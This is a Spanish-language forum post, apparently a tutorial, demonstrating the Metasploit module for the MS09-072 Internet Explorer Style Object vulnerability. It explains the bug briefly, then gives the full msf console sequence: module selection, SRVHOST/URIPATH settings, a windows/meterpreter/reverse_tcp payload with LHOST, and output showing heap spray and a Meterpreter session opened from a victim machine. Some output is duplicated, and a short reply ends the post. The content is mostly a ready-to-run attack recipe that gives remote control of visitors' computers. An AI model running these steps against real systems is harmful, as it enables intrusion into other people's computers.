ms09_072_style_object by R.N.A.
Detalles de la vulnerabilidad: Esta vulnerabilidad se basa en la posibilidad de ejecutar codigo remotamente si un usuario visita una pagina web especialmente dise~ada utilizando Internet Explorer. El error ocurre en el manejo de Style Objects a travez de la funcion de javascript "document.getElementsByTagName" permitiendo a un atacante corromper la memoria y ejecutar codigo remotamente.
1) Seleccionamos el exploit, en nuestro caso ms09_072_style_object.
Código:
_ _
_ | | (_)_
____ ____| |_ ____ ___ ____ | | ___ _| |_
| \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
|_|
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 508 exploits - 244 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
=[ svn r8472 updated today (2010.02.12)
msf > use exploit/windows/browser/ms09_072_style_object
msf exploit(ms09_072_style_object) > Interrupt: use the 'exit' command to quit
msf exploit(ms09_072_style_object) >
2) Verificamos las opciones que son requeridas:
Código:
msf exploit(ms09_072_style_object) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)
3) Modificamos las partes importantes para poder realizar la prueba de esta vulnerabilidad (SRVHOST y URIPATH)
Código:
msf exploit(ms09_072_style_object) > set SRVHOST 192.168.10.102
SRVHOST => 192.168.10.102
msf exploit(ms09_072_style_object) > set URIPATH /
URIPATH => /
4) Vemos cuales payloads son compatibles con el exploit:
Código:
msf exploit(ms09_072_style_object) > show payloads msf exploit(ms09_072_style_object)
5) Seleccionamos el payload que mas nos convenga para lo que queremos hacer, en mi caso windows/meterpreter/reverse_tcp y completamos la opcion LHOST con nuestra direccion IP.
Código:
msf exploit(ms09_072_style_object) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms09_072_style_object) > set LHOST 192.168.10.102
LHOST => 192.168.10.102
6) Ahora ejecutamos el exploit y esperamos por la conexion
Código:
msf exploit(ms09_072_style_object) > exploit
[*] Exploit running as background job.
msf exploit(ms09_072_style_object) >
[*] Started reverse handler on 192.168.10.102:4444
[*] Using URL: http://192.168.10.102:8080/
[*] Server started.
7) Ahora se conecta el ordenador vulnerable y obtenemos una sesion.
Código:
[*] Entering heap spray mode for 192.168.10.104:58739
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.10.102:4444 -> 192.168.10.104:58739)
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.10.102:4444 -> 192.168.10.104:58739)










Autor




En línea





solo se queda en esa parte
